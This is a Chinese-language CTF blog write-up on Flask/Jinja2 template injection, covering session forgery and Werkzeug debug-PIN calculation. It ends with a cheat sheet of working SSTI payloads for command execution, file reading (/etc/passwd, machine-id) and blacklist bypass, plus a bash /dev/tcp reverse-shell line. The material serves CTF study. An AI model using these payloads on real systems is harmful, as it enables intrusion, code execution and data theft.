flask

简介

flask 是模板注入的一种,flask 使用的是jinjia2 模板引擎

题型

session 伪造

0x00 session 结构

session_data+timestamp+hash

我们就是需要通过获取hash 然后伪造这个session 通常情况下,我们伪造的身份应该是admin 或者是root

值得注意的是timestamp+session_data 一般都是base64 编码

至于如何获取这个hash

可以通过题目来获取

0x01 例题:[HCTF 2018]admin

首先进来发现了一个界面,然后发现登录的界面和注册界面

image-20240507115004336

尝试注册admin 被拒绝

尝试有可能是sql 注入,但是这里不是,就不尝试了

尝试注册

image-20240507115055586

随便注册一个

image-20240507115111851

登录成功,但是现在不知道有什么用

image-20240507115238130

随便看看发现源码地址flask 猜测是flask session伪造

https://github.com/woadsl1234/hctf_flask/

现在貌似没有了

image-20240507115428578

最后通过源码将会获得hash 也就是,然后尝试伪造,假装收集到了密钥为

ckj123

可以使用脚本进行解密

image-20240507203401298

然后将name 改成admin 然后尝试访问

image-20240507203432126

image-20240507203456196

pin值计算

0x00 简介

pin码生成要六要素

  1. username 在可以任意文件读的条件下读 /etc/passwd进行猜测
  2. modname 默认flask.app
  3. appname 默认Flask
  4. moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
  5. uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
  6. machine_id 机器码 这个待会细说,一般就生成pin码不对就是这错了

0x01 例题:[GYCTF2020]FlaskApp

可以发现这个是base64 加解密平台

image-20240507210223311

尝试将payload

1
{{7*7}}

进行base64 加密,然后解密的时候是否有问题

image-20240508002226567

获取mac 地址

image-20240507210330961

尝试获取机器码

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/machine-id', 'r').read() }}{% endif %}{% endfor %}

image-20240507210920937

但是发现这个结果不对

image-20240507211136462

因为是docker 所以得访问另一个文件

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup', 'r').read() }}{% endif %}{% endfor %}

image-20240507211414834

尝试了还是不行

尝试读取源码

image-20240508001256861

发现了这个地方有一个waf

有一个黑名单限制了这个东西

尝试绕过

1
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

image-20240508002132271

尝试读取

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt', 'r').read() }}{% endif %}{% endfor %}

image-20240508002101400

常使用payload

  1. 执行系统命令类

    • 类似于ls

      1
      {{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

      只不过这个是python 的os

  2. 查询文件类

    1
    {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup', 'r').read() }}{% endif %}{% endfor %}
  3. 绕过{}和._

    1
    {%print(()|attr(%22\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f%22))%}

    使用unicode 进行编码

    1
    2
    {%print(''|attr('__class__'))%}
    {%print(()|attr('__class__'))%}

针对不容类的payload

os._wrap_close

rce

1
{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[383].__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('ls /').read()")}}

os

  1. rce

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()

    # eval
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
    ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
    object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

    #__import__
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

  2. 反弹shell

    1
    2
    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/地址/端口 0>&1').read()

    如果遇到这个不能执行,就使用bp 因为& 会导致出错,也可以尝试使用\


flask
https://tsy244.github.io/2024/05/06/CTF/flask/
Author
August Rosenberg
Posted on
May 6, 2024
Licensed under